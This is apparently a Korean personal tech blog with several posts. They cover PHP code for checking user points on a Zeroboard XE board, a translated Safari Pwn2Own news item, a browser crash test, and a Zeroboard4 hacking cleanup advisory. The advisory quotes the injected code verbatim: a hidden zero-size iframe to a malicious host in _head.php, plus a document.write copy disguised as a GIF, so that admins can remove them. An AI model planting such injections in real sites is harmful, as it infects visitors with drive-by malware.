1.0.6에서는 제대로 작동 하던 기능이
1.1.0인가 1.1.1로 넘어오면서 제대로 작동하지 않았습니다.

                function dispBoardWrite() {
            // 권한 체크
            if(!$this->grant->write_document) return $this->dispBoardMessage('msg_not_permitted');
        
         // check point
         if(Context::get('is_logged')) {
            $logged_info = Context::get('logged_info');
            $oPointModel = &getModel('point');
        $current_point = $oPointModel->getPoint($logged_info->member_srl);
        $oModuleModel = &getModel('module');
        $point_config = $oModuleModel->getModulePartConfigs('point');
        $module_srl = Context::get('module_srl');
        $current_module_point = ($point_config[$module_srl]['insert_document']? $point_config[$module_srl]['insert_document'] : $point_config->insert_document);
        if ($current_point + $current_module_point < 0) return $this->dispBoardMessage('msg_not_enough_point');



예전과 지금의 Module의 Config를 가져오는 방법이 달라져서 제대로 작동하지 않았습니다.
1.1.1에서 적용중인 자료입니다.
Posted by Parker Falcon

댓글을 달아주세요

  1. 뚱^^
    2009.01.10 02:30
    댓글 주소 수정/삭제 댓글
    글 조회시 포인트 체크하여 포인트가 조회에 필요한 포인트 보다 작을 때 조회 불가능하게 하는 방법 부탁합니다. 일러 주신대로 아래와 같이 수정하여 보았는데 삽질만 엄청하고 있습니다.
    기본적을 프로그래밍을 모르니 무지 힘들군요ㅠㅠ
    조언 부탁합니다.

    function dispBoardContent() {
    /**
    * 목록보기 권한 체크 (모든 권한은 ModuleObject에서 xml 정보와 module_info의 grant 값을 비교하여 미리 설정하여 놓음)
    **/
    if(!$this->grant->list) return $this->dispBoardMessage('msg_not_permitted');
    // 포인트 검사
    if(Context::get('is_logged')) {
    $logged_info = Context::get('logged_info');
    $oPointModel = &getModel('point');
    $current_point = $oPointModel->getPoint($logged_info->member_srl);
    $oModuleModel = &getModel('module');
    $point_config = $oModuleModel->getModulePartConfigs('point');
    $module_srl = Context::get('module_srl');
    $current_module_point = ($point_config[$module_srl]['insert_document']? $point_config[$module_srl]['insert_document'] : $point_config->insert_document);
    if ($current_point + $current_module_point < 0) return $this->dispBoardMessage('msg_not_enough_point');
    }

    /**
    * 카테고리를 사용하는지 확인후 사용시 카테고리 목록을 구해와서 Context에 세팅
    **/
    $this->dispBoardCatogoryList();
    • 2009.01.10 12:27 신고
      댓글 주소 수정/삭제
      $current_module_point = ($point_config[$module_srl]['insert_document']? $point_config[$module_srl]['insert_document'] : $point_config->insert_document);
      이부분은 insert_document 즉 글작성시의 포인트를 말합니다.
      read_document로 바꾸어보세요
  2. 뚱^^
    2009.01.10 18:16
    댓글 주소 수정/삭제 댓글
    우왕! 감사합니다.
  3. 2009.01.13 12:38
    댓글 주소 수정/삭제 댓글
    안녕하세요. Parker Falcon님의 도움으로 포인트 문제를 해결했던 "뚱^^"입니다.
    정말 큰힘이 되었습니다. 이 문제로 여러군데 도움을 요청하고 고민도 많이했는데 Parker Falcon님의 도움으로 쉽게 해결했습니다.
    혼자 이것 저것을 건드리다 또 이렇게 질문을 드리네요.
    아래 소스에서 메세지를 point 모듈의 "LANG" 폴더의 "ko.lang.php" 화일에 메세지를 추가하는 것이 맞는지요?
    원하는 메세지를 뛰우지 못해서 이렇게 질문을 남깁니다.
    if ($current_point + $current_module_point < 0) return $this->dispBoardMessage('msg_not_enough_point');
    }
    • 2009.01.13 14:46 신고
      댓글 주소 수정/삭제
      도움이 되었다니 다행입니다 :)
      실제 lang이 가져와지는 것이 두 곳이 있는데,
      어떠한 곳이라도 상관은 없습니다.
      그래도 해당 모듈에 있는 lang에 추가하시는게 좋겠죠 ^^
      저도 모듈 아래의 lang에 추가하였습니다.
  4. 조현우
    2009.01.16 16:03
    댓글 주소 수정/삭제 댓글
    또 질문을 하게되네요. 알고 싶었던 기능인데, 너무감사합니다.
    그런데 이 팁을 적용해보니, 포인트가 부족하면 글목록부터 볼수가 없네요. 저의 경우는 글목록은 아무나 볼수 있게 하고, 게시글을 읽을경우만 포인트에 따라 권한을 주려고 하고 있습니다.

    미리 감사드립니다.
    • 2009.01.17 14:15 신고
      댓글 주소 수정/삭제
      제가 쓴 글은 게시물을 작성할 때 포인트를 체크하는 루틴입니다.
      따로 넣지 않으셨으면 글 목록을 출력할 때는 저 부분이 실행되지 않는데요, 혹시 해당 소스를 어디쯤에 넣으셨는지 확인해주세요 :)
  5. 조현우
    2009.01.17 14:26
    댓글 주소 수정/삭제 댓글
    원댓글(뚱님)에서 처럼,
    function dispBoardContent() {
    /**
    * 목록보기 권한 체크 (모든 권한은 ModuleObject에서 xml 정보와 module_info의 grant 값을 비교하여 미리 설정하여 놓음)
    **/
    if(!$this->grant->list) return $this->dispBoardMessage('msg_not_permitted');
    이아랫에 넣었고, 실패해서, 아래코드 밑쪽근처에도 넣었는데, 아예 페이지에러가 뜨더군요. ^^;;;
    (무식하면 용감하다고...)

    // 글 보기 권한을 체크해서 권한이 없으면 오류 메세지 출력하도록 처리
    if(!$this->grant->view && !$oDocument->isGranted()) {
    $oDocument = null;
    $oDocument = $oDocumentModel->getDocument(0);
    Context::set('document_srl','',true);

    귀잖게 안할려고, 아무리 머리를 쥐어짜도... 답은 먼곳에.. ^^;;
  6. 2009.01.23 11:02
    댓글 주소 수정/삭제 댓글
    조현우님 말처럼 포인트가 모자라면 목록도 보지 못하는 건 맞습니다.
    저도 목록은 보게 할려고 고민중인데 해결이 안되네요. 조언 부탁합니다.
    부탁할려니 미안해서리 머뭇거리다 현우님 질문을 보고 부탁해보네요.
  7. 2009.01.23 18:00 신고
    댓글 주소 수정/삭제 댓글
    if(!$this->grant->list) return $this->dispBoardMessage('msg_not_permitted');
    이 부분은, 목록을 보는 권한이 없으면 에러메시지를 출력하는 줄 입니다.

    조현우님의 경우에 일단 지금
    dispBoardContent() 함수의 소스를 보여주시면 제가 확인해 볼 수 있겠습니다.
    소스가 어떻게 되어있는지 제가 잘 몰라서 답변 드리기 점점 모호해져서요 ㅠㅠ
  8. 2009.01.30 11:42
    댓글 주소 수정/삭제 댓글
    소스가 아래와 같이 되어 있는데 포인트가 모자라면 목록이 안보이네요..
    뭐가 문제일까요?

    function dispBoardContent() {
    /**
    * 목록보기 권한 체크 (모든 권한은 ModuleObject에서 xml 정보와 module_info의 grant 값을 비교하여 미리 설정하여 놓음)
    **/
    if(!$this->grant->list) return $this->dispBoardMessage('msg_not_permitted');
    // 포인트 검사
    if(Context::get('is_logged')) {
    $logged_info = Context::get('logged_info');
    $oPointModel = &getModel('point');
    $current_point = $oPointModel->getPoint($logged_info->member_srl);
    $oModuleModel = &getModel('module');
    $point_config = $oModuleModel->getModulePartConfigs('point');
    $module_srl = Context::get('module_srl');
    $current_module_point = ($point_config[$module_srl]['read_document']? $point_config[$module_srl]['read_document'] : $point_config->read_document);
    if ($current_point + $current_module_point < 0) return $this->dispBoardMessage('msg_not_enough_point');
    }

    /**
    * 카테고리를 사용하는지 확인후 사용시 카테고리 목록을 구해와서 Context에 세팅
    **/
    $this->dispBoardCatogoryList();


    /**
    * 목록이 노출될때 같이 나오는 검색 옵션을 정리하여 스킨에서 쓸 수 있도록 context set
    **/
    // 템플릿에서 사용할 검색옵션 세팅 (검색옵션 key값은 미리 선언되어 있는데 이에 대한 언어별 변경을 함)
    foreach($this->search_option as $opt) $search_option[$opt] = Context::getLang($opt);

    // 모듈정보를 확인하여 확장변수에서도 검색이 설정되어 있는지 확인
    for($i=1;$i<=20;$i++) {
    $ex_name = trim($this->module_info->extra_vars[$i]->name);
    if(!$ex_name) continue;
    if($this->module_info->extra_vars[$i]->search == 'Y') $search_option['extra_vars'.$i] = $ex_name;
    }
    Context::set('search_option', $search_option);


    // 게시글을 가져옴
    $this->dispBoardContentView();

    // 공지사항 목록을 구해서 context set (공지사항을 매페이지 제일 상단에 위치하기 위해서)
    $this->dispBoardNoticeList();

    // 목록
    $this->dispBoardContentList();

    // template_file을 list.html로 지정
    $this->setTemplateFile('list');
    }

    function dispBoardCatogoryList(){
    if($this->module_info->use_category=='Y') {
    $oDocumentModel = &getModel('document');
    Context::set('category_list', $oDocumentModel->getCategoryList($this->module_srl));
    }
    }

많이 늘었구나..

2008. 10. 7. 19:52
23만명이라니 대단해 :)

'Digital Life' 카테고리의 다른 글

신촌 탐앤탐스 고민중  (0) 2008.10.23
신촌 탐앤탐스 단점  (2) 2008.10.22
많이 늘었구나..  (0) 2008.10.07
제로보드XE 도 보안상에 문제가..  (1) 2008.08.18
3년 전 자료를 찾았습니다.  (0) 2008.08.17
전자기기는 재부팅이 필수!  (0) 2008.08.09
Posted by Parker Falcon

댓글을 달아주세요

게시물보다 댓글이 더 위험한건 아닌가 걱정됩니다...
Posted by Parker Falcon

댓글을 달아주세요

다른 사람의 글을 마구 본다면 곤란한데 말입니다.

'Digital Life' 카테고리의 다른 글

신촌 탐앤탐스 단점  (2) 2008.10.22
많이 늘었구나..  (0) 2008.10.07
제로보드XE 도 보안상에 문제가..  (1) 2008.08.18
3년 전 자료를 찾았습니다.  (0) 2008.08.17
전자기기는 재부팅이 필수!  (0) 2008.08.09
인코딩은 어렵네  (0) 2008.08.01
Posted by Parker Falcon

댓글을 달아주세요

  1. 민수
    2008.08.19 23:35
    댓글 주소 수정/삭제 댓글
    티스토리통해서(검색하다가) 들어왔는데 말이죠;;
    보안 문제는 제로님께 메일이나 쪽지로 보내면 빠른 패치를 하시던걸로 기억합니다;;
    -XE사용자로서 왠지모를 찜찜함;;

5만 조금 덜 되게..

2008. 5. 4. 03:56
이건 별거 없는거 같은데..
그래도..

'Digital Life' 카테고리의 다른 글

zb5 이전작업 기록 #2  (0) 2008.05.06
zb5 이전작업 기록 #1  (0) 2008.05.06
5만 조금 덜 되게..  (0) 2008.05.04
11만건의 개인정보...  (0) 2008.05.01
16만 정도의 개인정보?  (0) 2008.02.19
네이버의 힘은 정말 대단하군요.  (0) 2008.02.17
Posted by Parker Falcon

댓글을 달아주세요

Windows users with iTunes beware! Apple has opted you in to install their vulnerable Safari browser on your computer with iTunes updates. You must click the Safari update box off before updating iTunes if you don’t want to install Safari.

iTunes를 사용하시는 Windows 사용자분들께서는 조심하십시오! Apple은 iTunes업데이트에 보안에 문제가 있는 Safari를 끼워넣었습니다. iTunes를 업데이트 하실 때 Safari를 원하지 않으신다면 체크를 해제하시기 바랍니다.

PWN to OWN Day Two: First Winner Emerges!:
PWN to OWN 2번째날 : 첫번째 승자가 나타났습니다.:

They were able to exploit a brand new 0day vulnerability in Apple’s Safari web browser. Coincidentally, Apple has just started to ship Safari to some Windows machines, with its iTunes update service. The vulnerability has been acquired by the Zero Day Initiative, and has been responsibly disclosed to Apple who is now working on the issue.

그들은 Safari의 새로운 0day 보안 문제점을 exploit하였습니다. 우연히도 Apple에서는 iTunes 업데이트를 통해서 윈도우즈에도 Safari를 설치하기 시작했습니다.  Zero Day Initiative 에게 전달된 이 보안상의 문제는 Apple 에게 보내졌고 현재 작업중에 있습니다.


So if you update iTunes and install Safari, you’re getting this exploitable code on your computer.
그러므로 만약 iTune를 업데이트 하면서 Safari를 설치하신다면 컴퓨터에는 문제가 있는 코드가 설치되게 됩니다.

I may have more information about the nature of the exploit tomorrow. :-)
내일 이 이야기에 대해서 더 해드리겠습니다.:-)

EDIT/UPDATES:
편집 / 추가

  1. The exploit Charlie Miller used to win the coveted Macbook Err involved a telnet exploit via privilege escalation from a malformed/malicious link. Reportedly. We’ll find out when Apple gets around to fixing it. Which brings me to another point…
    Charlie Miller가 MacBook Err(Air)을 뚫을 때 악의적인 링크로 부터 권한 상승을 얻어내는 방법을 이용하였습니다. 소문에 의하면 말이죠. 우리는 Apple이 언제 그 문제를 수정할지 곧 알게 될 것 입니다(?). (?)
  2. Before anyone dismisses my objections to Apple’s requirement that users opt-out of installing Safari when updating iTunes, look at Secunia’s new advisory. Note that it’s highly critical. Safari is buggy and vulnerable in OSX. It’s even worse in Windows.
    Apple의 Safari 끼워 넣기에 반대하는 나의 생각을 잊은분들은 Secunia의 새 소식을 보기 바랍니다.(?) 이것은 아주 심각하다는것을 명심해주세요. 사파리는 버그가 많으며 OSX에서 보안상 취약한 점을 가지고 있습니다. 그리고 윈도우에서는 더욱 심각합니다.


원본 사이트 : http://lucky13linux.wordpress.com/2008/03/27/pwn2own-confirmation-0day-in-safari/

Posted by Parker Falcon

댓글을 달아주세요

  1. 2008.03.29 18:21 신고
    댓글 주소 수정/삭제 댓글
    제대로 번역하지 못하였습니다. 혹시나 고쳐야 될 점 보이시면 (특히 (?) 로 된 부분) 어떻게 고칠지 알려주시면 감사하겠습니다 :)

이번에 iPhone/iPod Touch의 Mobile Safari에 유해한 악성 코드에 관한 기사를 읽었습니다. 펌웨어 1.1.4에서 Safari가 제대로 Crash했다고 합니다.
그래서 관심을 가지고 Windows Internet Explorer 7.0 에서 작동시켜보았습니다.
(링크는 저 기사에 있습니다. )

진행1

진행1 : 일단 응답을 하지 않습니다.


진행2

진행2 : 메모리 부족 메시지가 뜹니다.

진행3

진행3 : 우여곡절끝에 마무리는 됩니다.


상황 분석

상황 분석 : CPU 사용량(앞쪽에 마구마구 솟아 있는 부분)과 메모리 사용량을 비교해보세요.


상황 2-1

상황 2-1 : 윈도우용 사파리 3.1로 접속하였습니다.


더이상 다른 변화는 없습니다. 그냥 저기서 끝입니다. 딱히 응답없음을 띄우지도 않았습니다.
사용자 삽입 이미지

저런 메모리는 할당하지 않은 모양입니다.



 스크립트의 내용은 클릭하면 나옵니다.

소스를 보면 대충 메모리 상에 4기가 바이트가 약간 안되는 공간을 할당받으려고 하는 것 같습니다만, iPhone의 사양을 볼 때 저 공간을 그대로 할당하면 Freeze/Crash가 일어나는 것은 거의 당연하다고 생각합니다. 물론 어플리케이션 차원에서 자바 스크립트가 저렇게 무지막지한 공간을 할당받지 못하게 하거나 경고 메시지를 띄우는(윈도우의 계산기에서 오래 걸리는 계산의 경우 처럼) 방법을 택했으면 더욱 좋았을 거 같습니다. 다행히 root권한을 취득할만한 큰 문제는 아니라고 생각합니다만 그래도 Safari 3.1에서 해결 된 것 처럼 iPhone/iPod Touch 의 Mobile Safari에서도 문제가 생기지 않게 대처해주면 더욱 좋을 거 같습니다.
그리고  Safari 3.0은 얼마전에 바로 업데이트 한 덕분에 3.1로 업데이트 했다면 큰 문제는 없는 것 같습니다.
테스트(?) 사양은
OS : Windows Vista
CPU : E6320 (노 오버)
RAM : 2 * 2GB = 4GB
Browser : IE 7.0

Posted by Parker Falcon

댓글을 달아주세요

요즘 제로보드4에 대한 중국발 해킹이 늘어나면서
많은 홈페이지가 감염되고, 또한 사용자들도 감염되고 있습니다.


당장의 대책이라면 _head.php에

<iframe width='0' height='0' src='http://d.xin8.info/daipi/css.htm'></iframe>
이것을 제거하시구요.
그리고 images폴더 아래에 admin_info.gif파일이 있는데
이것도 제거하십시요.
파일 내용은
images/admin_info.gif
document.write("<iframe width='0' height='0' src='http://d.xin8.info/daipi/css.htm'></iframe>");

이러합니다.


그리고 이런 작업은 홈페이지 관리자만 할 수 있습니다.

관리자가 할 수 있는 것은 제로보드의 최신 패치를 업데이트 하는 것 입니다.

제가 본 사이트 대부분이 2006년 3월 15일자 패치만을 해 둔 상태인데

http://www.zeroboard.com/zb4_download/803874로 가셔서 2007년 5월 23일짜 보안 패치까지 된 pl8버전을 받으시기 바랍니다.
제로보드에서 업데이트 중에 pl의 숫자를 올리지 않아서
많은 사람들이 업데이트가 없다고 생각한 것인지는 모르겠지만
아무튼 많은 분들께서 더이상의 업데이트를 하지 않으셨습니다.

그리고 일반 사용자분들 께서 하실 수 있는 일은

인터넷 익스플로어를 사용하신다면

도구 - 인터넷 옵션 - 보안 으로 가셔서

제한된 사이트 클릭하시고 목록에 *.xin8.info 를 입력하고 추가하시기 바랍니다.

다른 브라우져 (Firefox, Opera, Safari)를 사용 하시는 분들은 상관 없지만

인터넷 익스플로어 엔진을 사용하는 브라우져를 사용하시는 분들은 똑같이 추가하시기 바랍니다.

아무튼 다들 피해 없으시기 바랍니다 :)
Posted by Parker Falcon

댓글을 달아주세요

  1. 2007.11.02 07:46 신고
    댓글 주소 수정/삭제 댓글
    제로보드에서 새로운 패치가 공개되었습니다.
    http://www.zeroboard.com/zb4_download/803874

    0.1% 더 쉽게 풀어써보았습니다.
    http://quota.tistory.com/10
  2. 2007.11.03 21:06
    댓글 주소 수정/삭제 댓글
    안녕하세요.
    Parker Falcon님, 처음뵙겠습니다.
    올려주신 포스팅 덕분에 도움을 받았습니다..
    그리고 제홈페이지에 링크도 걸었고 해서 인사남기는게 예의같아서 ^^;
    ( http://ggerzer.com/349 )
    트랙백을 쏠까하다가,, 코멘트 남겨요..

    근데, 아무래도 이번 제로보드 해킹의 파장은 일파만파 퍼져나가고 있는것 같아요.
    저도 아직까진 큰 피해를 입진않았지만, 당분간은 계속 불안한 상태가 지속될것같아요.